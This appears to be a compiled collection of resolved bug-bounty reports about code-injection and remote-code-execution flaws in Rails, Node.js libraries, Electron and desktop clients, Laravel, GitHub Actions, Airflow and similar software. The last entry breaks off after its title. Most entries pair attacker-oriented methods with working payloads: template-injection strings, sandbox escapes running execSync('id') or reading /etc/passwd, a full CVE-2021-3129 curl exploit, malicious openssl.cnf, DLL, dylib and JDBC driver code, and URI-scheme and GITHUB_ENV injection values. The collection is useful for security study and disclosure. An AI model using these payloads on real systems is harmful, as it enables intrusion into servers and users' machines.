Specimen #954398 Β· deptofdefense Β· none Β· 8 votes Β· resolved
Program deptofdefenseSurface web
Root cause
A CGI parameter is passed into a server-side expression/eval context, so an injected ${...} expression calling sleep introduces a measurable delay, confirming code execution.
Method
- Send the request with an expression payload in a parameter
- Measure response time to confirm the sleep executed
- Escalate the expression to command execution
POST /cgi-bin/gMapBuild.py HTTP/1.1
Content-Type: application/x-www-form-urlencoded
mapArea=colP&cumTime=${sleep(hexdec(dechex(13)))}${sleep(hexdec(dechex(13)))}
# alt: cumTime=${{"sleep"%2c"13"})}
Insight β When you can't see output, prove code injection with a timing oracle: inject sleep/timeout inside ${}, #{}, or language eval and diff response times. Works for SSTI, EL, and eval-style sinks alike.
Real-world example
Rails render(params[:id]) code injection / RCE (CVE-2016-2098 & CVE-2016-0752)
β High
Specimen #113928 Β· rails Β· USD 1500 Β· 7 votes Β· resolved
Program railsSurface web
Root cause
Passing unverified user input to Action View's render lets an attacker control the template path/inline template, enabling directory traversal / arbitrary file rendering and, via inline template evaluation, execution of arbitrary Ruby.
Method
- Find a controller/view that does render params[:id] (or render user input)
- Supply a crafted value to render files outside the view dir or an inline template
- Escalate to Ruby code execution
# vulnerable pattern
def show
render params[:id]
end
# fix
render verify_template(params[:id])
Insight β Grep target Rails apps for render taking a request param directly; the same sink causes info-leak/path-traversal (CVE-2016-0752) and RCE via inline template (CVE-2016-2098). Any framework 'render/include by name' fed user input is dangerous.
Real-world example
notevil JS sandbox escape via constructor descriptor extraction
β High
Specimen #809012 Β· nodejs-ecosystem Β· none Β· 6 votes Β· resolved
Program nodejs-ecosystemSurface otherChain sandbox escape -> Function constructor -> process.main
Root cause
AST-walking 'safe eval' sandboxes still expose real built-in prototypes; walking Object.getOwnPropertyDescriptors(fn.__proto__).constructor recovers the real Function constructor, escaping to global context (RCE in Node, XSS in browser).
Method
- Feed the payload as the user script to notevil safeEval()
- Recover Function via descriptors of fn.__proto__.constructor
- Build Func bound with a body reaching process.mainModule to load child_process
function fn(){};
var c=Object.getOwnPropertyDescriptors(fn.__proto__).constructor;
var p=Object.values(c); p.pop();p.pop();p.pop();
var Func=p.map(function(x){return x.bind(x,'return this.process.mainModule.constructor._load(`child_process`).execSync(`id`)')}).pop();
(Func())()
Insight β Any JS 'safe eval'/expression sandbox is a target: reach the real Function/constructor via prototype chains, getOwnPropertyDescriptors, or bound functions; browser sinks (react-schema-form condition) turn it into XSS.
Real-world example
doT template engine RCE via Function() (template or prototype pollution)
β High
Specimen #390929 Β· nodejs-ecosystem Β· none Β· 5 votes Β· resolved
Program nodejs-ecosystemSurface otherChain prototype pollution -> tainted compiler option -> Func
Root cause
doT compiles templates with Function(); if an attacker controls the template body, or can set Object.prototype.templateSettings.varname via prototype pollution, arbitrary JS is compiled into the generated render function (CVE-2020-8141).
Method
- Direct: pass an attacker template containing {{=code}} to doT.template()
- Indirect: pollute Object.prototype.templateSettings.varname then let a benign-looking doT.process() compile a template
doT.template("<h1>{{=console.log(require('child_process').execSync('id').toString())}}</h1>")({});
// via prototype pollution:
Object.prototype.templateSettings={varname:"a,b,c,d,x=console.log(process.mainModule.require('child_process').execSync('id'))"};
require('dot').process({path:'./resources'}).mytemplate();
Insight β Template engines that use Function()/eval with runtime-computed config are RCE sinks; chain with prototype pollution when the template itself looks safe - the injected value is the compiler option (varname), not the template.
Real-world example
Electron shell.openExternal() with attacker-controlled URL -> RCE
β High
Specimen #1781102 Β· rocket_chat Β· none Β· 4 votes Β· resolved
Program rocket_chatSurface desktopChain XSS in renderer -> exposed desktop API -> shell.openExTag account-takeover
Root cause
Rocket.Chat Desktop passes the url parameter of openInternalVideoChatWindow() straight to Electron shell.openExternal(). openExternal launches OS handlers, so a file:/// or protocol-handler URL executes a local program; the function is reachable from web content via the exposed Desktop API + XSS.
Method
- Get script execution in the renderer (stored/reflected XSS in chat content).
- Call the exposed API openInternalVideoChatWindow with a malicious url when the internal window is disabled (or on Mac App Store build).
- shell.openExternal launches the OS handler for the URL -> command/program execution.
// via exposed Rocket.Chat-Desktop API from injected JS
RocketChatDesktop.openInternalVideoChatWindow({ url: "file:///Applications/Calculator.app" })
// or an SMB/URI-scheme payload that maps to a local executable handler
Insight β In Electron apps, any path from web/renderer content to shell.openExternal()/shell.openPath() is an RCE sink. Audit exposed contextBridge/IPC methods that forward a URL to shell.*; combine with XSS. openExternal must be gated to an http/https allowlist.
Real-world example
PHP code injection via ad-server delivery-limitation plugin parameter
β High
Specimen #3656781 Β· revive_adserver Β· none Β· 35 votes Β· resolved
Program revive_adserverSurface web
Root cause
Revive Adserver (<=6.0.6) compiles user-controlled delivery-limitation input (the `logical`/plugin `type` parameter) into PHP source stored in the compiledlimitations DB field, which is later eval'd/executed during banner delivery - so a low-privileged user injects PHP that runs at ad-serve time. CVE-2026-34916 (with fix-bypass variants).
Method
- As a low-priv user, save a delivery limitation for a banner/campaign
- Inject PHP via the logical parameter (or a disallowed-but-valid plugin identifier as type) so it lands in compiledlimitations
- Trigger banner delivery to execute the compiled PHP
Insight β Ad servers and rules engines that 'compile' user rules into a native language (PHP compiledlimitations here) and then execute the compiled artifact are code-injection sinks. Allowlists on the plugin/type identifier are frequently bypassable with an alternate-but-valid identifier or a secondary API (XML-RPC ox.setChannelTargeting) - test every entry point that writes the compiled field.
Real-world example
URI-scheme RCE via QDesktopServices::openUrl in desktop app login WebView
β Medium
Specimen #1078002 Β· nextcloud Β· awarded Β· 73 votes Β· resolved
Program nextcloudSurface desktopChain malicious server -> URI scheme -> local URI handler (WTag file-upload
Root cause
A native desktop client opens server-controlled links from an embedded login WebView by handing the raw URL to the OS default handler (QDesktopServices::openUrl) with no scheme allowlist, so a malicious server can trigger any registered URI handler.
Method
- Point the desktop client at a malicious Nextcloud server; its login page is rendered in the native WebView.
- Serve links using dangerous URI schemes (sftp:, file:, dav:, smb:, jar:).
- For WinSCP-installed Windows hosts, an sftp: link with x-proxymethod/x-proxytelnetcommand runs a local command before connecting.
- On Linux, an sftp: link to a passwordless account auto-mounts a share and opens an executable .desktop file.
sftp://youtube:com;watch=sn96aVA2;x-proxymethod=5;x-proxytelnetcommand=calc.exe@foo.bar/
# Linux .desktop auto-open:
sftp://nextclouduser@<server>/example.desktop
[Desktop Entry]
Exec=xmessage "Arbitrary RCE :)"
Type=Application
Insight β Any place that passes attacker/server-controlled URLs to an OS 'open URL' API (QDesktopServices::openUrl, ShellExecute, xdg-open, Electron shell.openExternal) is an RCE/NTLM-leak sink. Enumerate installed URI handlers (WinSCP sftp:, file:, smb:) for command-execution parameters.
Real-world example
Windows ACE via OpenSSL default openssldir (c:\usr\local\ssl\openssl.cnf) + engine DLL
β Medium
Specimen #622170 Β· nextcloud Β· USD 100 Β· 59 votes Β· resolved
Program nextcloudSurface desktopChain writable default openssldir -> malicious openssl.cnf ->
Root cause
A precompiled OpenSSL (libeay32.dll) built without --openssldir defaults to /usr/local/ssl, which on Windows resolves to the world-writable c:\usr\local\ssl. Any low-priv user drops an openssl.cnf there that loads a malicious engine DLL, executing code in the context of whoever launches the app (privilege escalation if admin). CVE-2020-8224.
Method
- Confirm app loads libeay32/libssl and probes c:\usr\local\ssl\openssl.cnf (Procmon: PATH NOT FOUND)
- mkdir c:\usr\local\ssl as a normal user
- Place a malicious DLL and an openssl.cnf that references it as an engine
- Wait for a higher-priv user to launch the app -> DLL executes
# openssl.cnf that loads attacker DLL as an engine
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
evil = evil_section
[evil_section]
engine_id = evil
dynamic_path = C:\\usr\\local\\ssl\\calc.dll
Insight β Fingerprint desktop apps for statically linked OpenSSL and use Procmon to catch reads of c:\usr\local\ssl\openssl.cnf or missing DLLs in writable dirs; the OpenSSL config engine/OPENSSL_CONF mechanism is a reliable local ACE/privesc primitive on Windows.
Real-world example
Laravel debug mode -> Ignition RCE (CVE-2021-3129)
β Medium
Specimen #2765259 Β· mtn_group Β· none Β· 59 votes Β· resolved
Program mtn_groupSurface webChain info-disclosure (debug mode) -> LFI/log-write primitive -
Root cause
Laravel with APP_DEBUG=true exposes the Ignition debug module; the MakeViewVariableOptionalSolution accepts a viewFile that is passed to PHP file functions, enabling php://filter-based log poisoning to write and execute PHP into storage/logs/laravel.log.
Method
- Fingerprint debug mode: trigger an error and confirm the Ignition error page / debug banner.
- POST to /_ignition/execute-solution with the MakeViewVariableOptionalSolution and a viewFile php://filter chain to clear and write the log.
- Use the UTF-16/quoted-printable filter chain to align base64 so the second (payload) copy decodes correctly despite absolute-path length variance.
- Include a phar:// or php://filter/write=convert.base64-decode resource pointing at laravel.log to execute the injected PHP; drive it with the public CVE-2021-3129 exploit.
curl -XPOST -H 'Content-Type: application/json' -d '{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}' https://TARGET/_ignition/execute-solution
# public exploit: https://github.com/joshuavanderpoll/CVE-2021-3129
Insight β Any Laravel <=8.4.2 with APP_DEBUG=true and /_ignition/execute-solution reachable is unauth RCE; the php-filter alignment trick (UTF-16 + quoted-printable) is the reusable primitive to make double-decoded base64 log poisoning reliable across targets with different absolute log paths.
Real-world example
GitHub Actions core.exportVariable delimiter injection via GITHUB_ENV -> RCE
β Medium
Specimen #1625652 Β· github Β· 4617 Β· 39 votes Β· resolved
Program githubSurface webChain env var injection (PATH/NODE_OPTIONS) -> RCE on Actions rTag supply-chain
Root cause
@actions/core exportVariable wrote to the GITHUB_ENV file using a fixed, well-known delimiter. Untrusted input containing that delimiter breaks out of the intended variable and assigns arbitrary environment variables (e.g. PATH, NODE_OPTIONS) for later steps -> code execution.
Method
- Find a workflow/action that writes attacker-controllable data to an env var via core.exportVariable (or echo to $GITHUB_ENV).
- Embed the known delimiter in the value to close the current var and start a new assignment.
- Set a dangerous variable (PATH, NODE_OPTIONS, LD_PRELOAD) consumed by a later step to achieve RCE on the runner.
# inject value containing the delimiter to define arbitrary vars:
somevalue
_GitHubActionsFileCommandDelimeter_
PATH=/attacker/bin
# (multi-line env-file injection via GITHUB_ENV)
Insight β Any place untrusted data reaches GITHUB_ENV / GITHUB_OUTPUT via a fixed delimiter is an env-injection -> RCE sink. Modern runners require a random per-write delimiter; test third-party actions for old @actions/core (<1.9.1) or raw `echo VAR=... >> $GITHUB_ENV` with attacker input.
Real-world example
Steam chat JS execution in privileged client via oEmbed + custom-protocol abuse
β Medium
Specimen #411329 Β· valve Β· 750 Β· 27 votes Β· resolved
Program valveSurface desktop
Root cause
The Steam chat client renders whitelisted oEmbed providers (e.g. CodePen) whose arbitrary JS then runs inside the privileged Steam web-helper context, where steam:// and OS custom-protocol URLs (jarfile:, JSEFile:) execute without confirmation.
Method
- Create attacker JS on a whitelisted oEmbed provider (CodePen)
- Send the link in chat; when previewed, the JS runs in the privileged client
- Abuse steam:// / jarfile:[path] / JSEFile: protocols, or open chrome-devtools:// to spawn a less-restricted window
# CodePen (whitelisted oEmbed) JS runs in Steam chat context
location='steam://run/...' // launches games / runsafe with no confirm
location='jarfile:C:/path/evil.jar PARAMS' // runs a JAR
open('chrome-devtools://devtools/bundled/inspector.html') // escapes to a weaker-sandbox window
Insight β An oEmbed/link-preview whitelist is only as safe as the whitelisted domains' user content; CodePen-style pen hosting turns a 'trusted' provider into an arbitrary-JS vector, and OS custom protocols (jarfile:, JSEFile:, wscript) are underappreciated code-exec sinks in desktop web contexts.
Real-world example
Hijacking an AV's injected page script by overriding a native prototype method (Kaspersky IE)
β Medium
Specimen #470547 Β· kaspersky Β· awarded Β· 22 votes Β· resolved
Program kasperskySurface web
Root cause
Kaspersky's browser-protection script runs in the same JS context as the page; because it calls String.prototype.indexOf on its own data, an arbitrary page can override indexOf to intercept those calls and gain a reference into the AV script's namespace and command interface.
Method
- Serve a page on a host Kaspersky injects into (hostname must start with www.google.)
- Override String.prototype.indexOf to capture the AV script's internal objects when it calls indexOf
- Use the captured command interface to disable Anti-Banner/Private Browsing or add blocklist URLs
String.prototype.indexOf = function(...args){ /* capture `this`/caller context to reach Kaspersky command interface */ return orig.apply(this,args); };
Insight β When a security product or extension injects a script into the page's own context (not an isolated world), the page can subvert it by monkey-patching the built-in methods that script relies on. Isolation, not obfuscation, is the only real defense.
Real-world example
Electron context isolation bypass via throwing/unserializable contextBridge return value
β Medium
Specimen #2138080 Β· ibb Β· awarded Β· 15 votes Β· resolved
Program ibbSurface desktopChain main-world XSS/JS -> context isolation bypass -> privi
Root cause
When a contextBridge-exposed API returns a value that cannot be structured-cloned (e.g. a canvas rendering context) or an object with a dynamic getter that throws while crossing the bridge, the exception surfaced to the main world carries a reference into the privileged isolated context, breaking context isolation.
Method
- Find a contextBridge-exposed API whose return value can be an unserializable object (canvas 2d context, etc.) or an object with a getter that throws when accessed
- Trigger the return so the bridge raises 'object could not be cloned' or the user-generated exception
- Use the reference reachable through the thrown exception to reach the isolated Electron context and invoke privileged actions
// pseudo: expose returns something unserializable
contextBridge.exposeInMainWorld('api', { get: () => document.createElement('canvas').getContext('2d') });
// main world: catch the bridge exception and pivot to the isolated-context object it leaks
Insight β Auditing an Electron app? Enumerate every contextBridge-exposed function and check whether any return path can yield a non-cloneable object or a getter that throws. Those are context-isolation bypass primitives even when contextIsolation is enabled.
Real-world example
Antivirus 'scanner path' config as code-execution sink
β Medium
Specimen #903872 Β· owncloud Β· none Β· 14 votes Β· resolved
Program owncloudSurface webChain path disclosure (config report) + file upload + attacker-setTag file-upload
Root cause
ownCloud files_antivirus lets an admin set the clamscan executable path; setting it to the PHP interpreter path with an uploaded file as first argument makes the app execute attacker PHP when a scan runs. escapeshellarg does not help because the binary itself is attacker-chosen.
Method
- Login as admin, install files_antivirus plugin
- Download config report to learn datadirectory (upload location) and PHP interpreter path
- Upload a file containing PHP code (extension irrelevant)
- In Protection settings set clamscan av path = /path/to/php and point the arg at the uploaded file
- Trigger a scan; PHP executes
# av command path field:
/usr/bin/php
# first arg -> /var/.../data/<uploaded_php_with_code>
Insight β Admin-configurable 'external command/binary path' fields (AV scanner, image converter, backup tool) are RCE primitives: point the binary at an interpreter and feed it an uploaded script. Config-report/info endpoints that leak absolute paths make this reliable. Argument-escaping (escapeshellarg) is irrelevant when the executable is attacker-controlled.
Real-world example
Electron webview local file read via popups + custom script
β Medium
Specimen #943737 Β· rocket_chat Β· none Β· 14 votes Β· resolved
Program rocket_chatSurface desktopChain malicious/MITM server -> custom script -> file:// popuTag account-takeover
Root cause
The desktop app's Electron webview allows popups and runs server-supplied custom scripts without restricting file:// or JS execution, so a malicious server can window.open('file://...') and eval() to read arbitrary local files (and pivot toward RCE).
Method
- Control or MITM the server the desktop client connects to
- Set a server-side custom script (Administration > Layout > Custom Scripts)
- Use window.open('file:///path').eval(...) to open a local file and read its contents back
- Exfiltrate document.body.innerText of the opened file
window.open('file://c:/windows/system32/drivers/etc/hosts').eval('alert(document.body.innerText);');
Insight β Electron/desktop clients that render server-controlled content are a big attack surface: check webPreferences (nodeIntegration, contextIsolation, sandbox, allowpopups) and whether file:// is reachable. Server-supplied 'custom scripts' are effectively RCE-adjacent XSS in a native shell; fix is popups:false + disabling nodeIntegration.
Real-world example
morgan format string -> Function()/eval RCE, weaponized via prototype pollution (CVE-2019-5413)
β Medium
Specimen #390881 Β· nodejs-ecosystem Β· none Β· 13 votes Β· resolved
Program nodejs-ecosystemSurface otherChain prototype pollution -> polluted format property -> FunTag supply-chain
Root cause
morgan compiles its format string into a JS function via Function()/eval; if the format value is attacker-controlled, arbitrary JS runs. Because morgan looks the format up as an object property, a prototype-pollution bug elsewhere can plant the malicious format so a benign morgan(':method :url ...') call executes attacker code.
Method
- Locate use of a library that compiles user-influenced strings with Function()/eval (morgan format)
- If direct control isn't possible, use a prototype pollution primitive to set Object.prototype[<format key>] to a payload
- Benign-looking call resolves the polluted property and evals the payload
// direct:
morgan('25 \\" + console.log(process.mainModule.require("child_process").execSync("id")); + //:method');
// via prototype pollution:
Object.prototype[':method :url :status :res[content-length] - :response-time ms'] = '25 \\" + <payload> + //...';
morgan(':method :url :status :res[content-length] - :response-time ms');
Insight β Grep npm deps for Function(/new Function(/eval( built from config-like strings; these are code-injection sinks. Even 'unreachable' ones become exploitable when chained with prototype pollution, because the polluted Object.prototype supplies the tainted value to an otherwise-hardcoded call.
Real-world example
Deeplink -> QDesktopServices::openUrl executes local file (Nextcloud desktop, CVE-2022-41882)
β Medium
Specimen #1720043 Β· nextcloud Β· awarded Β· 13 votes Β· resolved
Program nextcloudSurface desktopChain file upload access + deeplink click -> local file executiTag file-upload
Root cause
The desktop client's 'local edit' feature took the file path from an nc://open/ deeplink and passed it to QDesktopServices::openUrl(QUrl::fromLocalFile(path)); openUrl executes files by their default handler, so a deeplink pointing at an uploaded .vbs/.exe runs it.
Method
- Upload an executable/script (e.g. test.vbs) to an instance the victim can access (public chat/file drop)
- Get the victim to open nc://open/<user>@<instance>/test.vbs (link in web page/email)
- Client resolves the local file and QDesktopServices::openUrl executes it
nc://open/mSnmByRJcj6cwKwX@demo1.nextcloud.com/test.vbs
// test.vbs: MsgBox "Hallo", VBOKOnly, "Ok"
Insight β Custom URL-scheme/deeplink handlers that end in an OS 'open' call (QDesktopServices::openUrl, ShellExecute, xdg-open) execute files, not just view them. Audit desktop apps' registered schemes for any path that reaches an open/launch API with attacker-influenced input; require a CSRF token and restrict to safe file types.
Real-world example
GITHUB_ENV delimiter injection in actions/core.exportVariable
β Medium
Specimen #1787810 Β· ibb Β· none Β· 12 votes Β· resolved
Program ibbSurface otherChain Env-var injection -> overwrite PATH/NODE_OPTIONS -> coTag supply-chain
Root cause
core.exportVariable writes name/value to the GITHUB_ENV file using a fixed, publicly-known heredoc delimiter without sanitizing the value; untrusted input containing the delimiter breaks out and defines arbitrary env vars.
Method
- Find a workflow/action passing untrusted input (issue title, PR body) to core.exportVariable
- Embed the known delimiter _GitHubActionsFileCommandDelimeter_ in the value
- Break out and inject new NAME=value lines (overwrite PATH, NODE_OPTIONS)
value_with_delimiter
_GitHubActionsFileCommandDelimeter_
EVIL_VAR<<_GitHubActionsFileCommandDelimeter_
/attacker/controlled
_GitHubActionsFileCommandDelimeter_
Insight β Any file-command / heredoc protocol using a static delimiter is injectable when it echoes untrusted data; check GITHUB_ENV, GITHUB_OUTPUT and similar env-file writers. Fix: @actions/core v1.9.1.
Real-world example
Node.js policy sandbox escape via module.constructor.createRequire()
β Medium
Specimen #2104566 Β· ibb Β· awarded Β· 8 votes Β· resolved
Program ibbSurface other
Root cause
Node.js experimental permissions/policy mechanism (policy.json) can be bypassed: a module reaches module.constructor.createRequire() to build a fresh require bound to an arbitrary path, loading modules outside the policy definition and defeating integrity/allowlist enforcement (CVE-2023-32006).
Method
- In a Node app hardened with an experimental policy.json, obtain a reference to any module object
- Walk module.constructor (the Module class) and call createRequire(path)
- Use the returned require to load modules not permitted by policy.json
const req = module.constructor.createRequire('/arbitrary/path');
const evil = req('./out-of-policy-module');
Insight β When auditing JS/Node sandboxes and integrity policies, hunt for prototype/constructor escapes to require: module.constructor.createRequire, process.binding, process.mainModule.require, and Function('return require')(). Constructor walks are the classic policy/VM escape.
Real-world example
Attacker-controlled Airflow connection Extra -> path-traversal binary download RCE
β Medium
Specimen #1895277 Β· ibb Β· USD 2400 Β· 7 votes Β· resolved
Program ibbSurface cloudChain malicious connection config -> path traversal in downloadTag cloud-gcp
Root cause
Apache Airflow Google provider (<8.10.0) built the Cloud SQL proxy download URL and local binary path from unvalidated connection Extra fields (sql_proxy_version, sql_proxy_binary_path); path traversal in sql_proxy_version makes it fetch and execute an attacker-hosted binary, giving RCE on the worker.
Method
- Host a malicious binary named per the proxy expectation on public Google Cloud Storage
- Create/modify a Google Cloud SQL connection; set Extra.sql_proxy_version to '../ATTACKER_BUCKET/system?a=' (path traversal) so the fetch URL points to your file
- Run any DAG using CloudSQLExecuteQueryOperator with that connection
- The worker downloads the file, renames it to the proxy path and executes it -> RCE
{
"project_id":"...",
"instance":"...",
"location":"us-central1-b",
"database_type":"postgres",
"use_proxy":"True",
"use_ssl":"False",
"sql_proxy_use_tcp":"True",
"sql_proxy_version":"../swordlight/system?a=",
"sql_proxy_binary_path":""
}
# variant (sibling CVE-2023-25692, #1895316): direct command / traversal write
# "sql_proxy_version":"?a=", "sql_proxy_binary_path":"whoami"
# "sql_proxy_version":"../ATTACKER/evil_dag.py?a=", "sql_proxy_binary_path":"/../../../opt/airflow/dags/evil_dag.py"
Insight β Config/connection fields that feed download URLs or executable paths are code-exec sinks. When a 'version' or 'binary_path' string is concatenated into a fetch URL or filesystem path, test path traversal (../) and query-suffix tricks (?a=) to redirect the source and land arbitrary files/binaries.
Real-world example
Code-generation JSON-schema validator injects schema key into generated function
β Medium
Specimen #894308 Β· nodejs-ecosystem Β· none Β· 6 votes Β· resolved
Program nodejs-ecosystemSurface otherChain untrusted schema -> generated-code injection -> RCE
Root cause
is-my-json-valid compiles schemas to JS source for speed; property names from the schema are concatenated into generated code (formatName) without escaping, so an attacker-controlled schema executes arbitrary JS at validator build time.
Method
- Supply an attacker-controlled schema to is-my-json-valid
- Use a property name containing a JS expression
- Calling validator(schema) compiles and runs the injected code
const schema={type:'object',properties:{'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString())]':{required:true,type:'string'}}};
require('is-my-json-valid')(schema);
Insight β 'Fast validator/serializer via code generation' (ajv-style, is-my-json-valid, compiled templates) means schema/config is code: never pass untrusted schemas; hunt for new Function/eval over user-shaped structure.
Real-world example
DLL search-order hijack: loading Wtsapi32.dll.dll from user PATH without signature check
β Medium
Specimen #1193641 Β· glasswire Β· none Β· 3 votes Β· resolved
Program glasswireSurface desktopTag file-upload
Root cause
A Windows application resolves a DLL by unqualified name so the loader searches user-writable directories on PATH first; an attacker-planted DLL of that name is loaded and its DllMain runs in the app's process (here at first launch, before any signature verification).
Method
- Use Process Monitor to watch a target EXE for NAME NOT FOUND CreateFile probes for *.dll across PATH directories.
- Note a DLL the app tries to load but does not find in a trusted dir (e.g. Wtsapi32.dll.dll).
- Place a malicious DLL of that exact name in a user-writable PATH directory.
- Launch the app; the planted DLL loads and executes.
# Procmon filter
Process Name is glasswire.exe
Operation is CreateFile
Result is NAME NOT FOUND
Path ends with .dll
# then drop payload DLL named exactly as the missing one into a writable PATH dir
Insight β For any desktop/installed binary, run Procmon and look for unqualified DLL loads that miss (NAME NOT FOUND) and fall through to user-writable directories; a doubled extension like Wtsapi32.dll.dll is a strong tell of a coding bug. Signature checks that happen after LoadLibrary do not help.
Real-world example
Node.js policy mechanism bypass via module.constructor.createRequire()
β Medium
Specimen #2043807 Β· nodejs Β· none Β· 3 votes Β· resolved
Program nodejsSurface other
Root cause
The experimental Node.js policy (policy.json integrity/allowlist) can be bypassed because module.constructor.createRequire() constructs a require unbound from the policy, letting code load modules outside the policy definition.
Method
- In a module constrained by policy.json, obtain a require via module.constructor.createRequire()
- Use that require to load modules not permitted by the policy
const req = module.constructor.createRequire(__filename);
const forbidden = req('fs'); // loaded outside policy.json
Insight β Sandbox/allowlist mechanisms that rely on the default require can be escaped through alternate module-loading primitives (module.constructor.createRequire, process.binding, vm). When auditing a JS policy/sandbox, enumerate every path to a fresh require/Module.
Real-world example
macOS desktop code injection via DYLD_INSERT_LIBRARIES (no Hardened Runtime)
β Low
Specimen #633266 Β· nextcloud Β· awarded Β· 29 votes Β· resolved
Program nextcloudSurface desktop
Root cause
The macOS client is built without Hardened Runtime, so a local process can set DYLD_INSERT_LIBRARIES to force-load an arbitrary dylib into the app, executing code in the app's context and inheriting its entitlements/data access.
Method
- Compile a malicious dylib with an __attribute__((constructor)) that runs on load
- Launch the target app with DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./malicious.dylib
- Constructor runs inside the app (PoC opens Calculator)
__attribute__((constructor)) static void pwn() {
NSTask *task = [[NSTask alloc] init];
task.launchPath = @"/Applications/Calculator.app/Contents/MacOS/Calculator";
[task launch];
}
// gcc -dynamiclib -undefined suppress -flat_namespace malicious.m -o malicious.dylib -framework Foundation
// DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./malicious.dylib /Applications/app.app/Contents/MacOS/app
Insight β Any macOS .app lacking Hardened Runtime (or the runtime exception 'Allow DYLD Environment Variables') can be code-injected via DYLD_INSERT_LIBRARIES; check the app's entitlements/codesign flags as a quick audit.
Real-world example
Rails redirect_to array param -> _url method execution / route probing
β Low
Specimen #1106652 Β· rails Β· none Β· 9 votes Β· resolved
Program railsSurface webTag cors
Root cause
redirect_to(params[:x]) / polymorphic_url with untrusted input: passing an array (?x[]=something) makes Action Pack call the method something_url on the controller and redirect to its return value, allowing execution of any public controller method ending in _url and route existence probing (CVE-2021-22885).
Method
- Find a route that reflects user input into redirect_to/polymorphic_url
- Send the param as an array to invoke <name>_url: ?user_input[]=<name>
- Distinguish a 500 (method missing -> route/method absent) from a successful redirect to infer which _url methods/routes exist and disclose info
GET /some_action?user_input[]=admin_dashboard # -> calls admin_dashboard_url
# 500 = method absent, 30x = method exists / value redirected
Insight β Array/hash parameter smuggling into framework helpers turns a redirect into a reflection/method-invocation oracle. On Rails apps, fuzz redirect params with foo[]=bar and watch 500-vs-redirect to enumerate internal routes.
Real-world example
RCE via controllable JDBC Driver Path / Driver Class (malicious driver JAR)
β Low
Specimen #2065288 Β· ibb Β· 520 Β· 7 votes Β· resolved
Program ibbSurface web
Root cause
An app (Apache Airflow JDBC provider) lets the user specify the JDBC driver JAR path and class with no restriction; loading an attacker-supplied driver runs its static initializer / acceptsURL, achieving code execution (CVE-2023-22886).
Method
- Build a malicious java.sql.Driver whose static{} / acceptsURL() runs a command
- Package it as a JAR and place/host it where the app can load it
- Set the connection's Driver Path to the JAR and Driver Class to your class
- Click Test/Connect - the driver loads and your code runs on the server
public class Test implements Driver {
static { try { cmd(); DriverManager.registerDriver(new Test()); } catch(Exception e){} }
public boolean acceptsURL(String url) throws SQLException { try { cmd(); } catch(IOException e){} return url.startsWith("jdbc:mydb:"); }
public static void cmd() throws IOException { Runtime.getRuntime().exec(new String[]{"sh","-c","whoami"}); }
/* ... other Driver methods stubbed ... */
}
// set Driver Path = /path/mydriver.jar, Driver Class = Test, then Test connection
Insight β Any 'connection/driver/plugin path + class' configuration is a code-execution sink: JDBC/ODBC driver params, JAR/plugin paths, deserializer class names. If you can point the loader at an attacker-controlled artifact and name its class, static initializers and lifecycle methods run your code. Also test JDBC URL params for RCE-capable drivers.
Real-world example
Unintended require: request-controlled module path -> arbitrary code load
β Low
Specimen #660563 Β· nodejs-ecosystem Β· none Β· 5 votes Β· resolved
Program nodejs-ecosystemSurface otherChain port scan -> request-controlled require path traversal -&
Root cause
script-manager's worker HTTP server calls require(req.body.options.execModulePath) with a path taken from the request; an attacker who reaches the localhost random port can load and execute any JS file on disk via path traversal.
Method
- Enumerate localhost ports 1024-65535 with the crafted POST body
- Detect the worker by the 'require(...) is not a function' error response
- Point execModulePath at an on-disk file to execute it
POST http://localhost:PORT/
Content-Type: application/json
{"options":{"rid":12,"execModulePath":"./../../../pwn.js"}}
Insight β require(x)/import(x) with any request-derived x is a code-load sink; even localhost-only worker servers are reachable by same-host processes/SSRF - scan ports and fingerprint by error strings.
Real-world example
RCE via untrusted JSON schema in a code-generating validator (ajv)
β Low
Specimen #897974 Β· nodejs-ecosystem Β· none Β· 1 votes Β· resolved
Program nodejs-ecosystemSurface otherTag file-upload
Root cause
ajv compiles schemas by building JavaScript source and applying regex transforms with untrusted schema property names inserted into that source; a crafted property name breaks out of the generated function body and executes arbitrary JS (new Function/eval-style code generation).
Method
- Identify code that compiles/templates untrusted input into JS source (new Function, eval, ajv.compile, template engines).
- Craft a schema whose property key closes the generated function scope and injects a payload, then re-opens a valid tail so compilation succeeds.
- Call the compiler on the crafted schema.
const ajv = require('ajv')({})
const payload = "(console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString()),process.exit(0))"
const schema = `{"properties":{"){}}};${payload};return validate//":{"allOf":[{}]}}}`
ajv.compile(JSON.parse(schema))
Insight β Any library that turns configuration/schema/templates into executable code via string building is RCE-prone if that config can be attacker-supplied. Treat 'the schema/template is trusted' as an assumption to test: user-uploaded schemas, remote configs, or multi-tenant validators break it.
Real-world example
Protocol-handler arg breaks JS format string -> code exec in native app (slack://)
β Info
Specimen #79348 Β· slack Β· awarded Β· 72 votes Β· resolved
Program slackSurface desktopChain malicious slack:// link click -> handleDeepLink('%@') str
Root cause
The macOS Slack app registers slack:// and interpolates a URL argument into a JS format string TSSSB.handleDeepLink('%@') then runs it via stringByEvaluatingJavaScriptFromString. Percent-escaping leaves the single quote unescaped, so the arg breaks out of the string and runs arbitrary JS in the app context.
Method
- Craft a slack:// link whose parameter contains a single quote to close the handleDeepLink('...') string.
- Append JS; avoid spaces using eval(atob('<base64>')); close with a String(...) so the remainder stays valid.
- Victim clicks the link (web/email) and the JS runs in the privileged app WebView (e.g. post a message as them).
<a href="slack://test?team=1&a=');eval(atob('<BASE64_JS>'));String('">Click me</a>
// decoded JS runs in app context, e.g.:
// TSSSB.sendMsgFromUser(window.TS.channels.getGeneralChannel().id, 'proof of js injection')
Insight β Custom protocol/deep-link handlers in desktop/Electron apps often build a JS/format string from the URL and eval it. Test the URL params for quote break-out; percent-encoding routines commonly miss the single quote. eval(atob()) sidesteps space/character filters in the transport.
Real-world example
Code injection in a code-generation tool via incomplete quote escaping
β Info
Specimen #1167530 Β· portswigger Β· none Β· 51 votes Β· resolved
Program portswiggerSurface desktop
Root cause
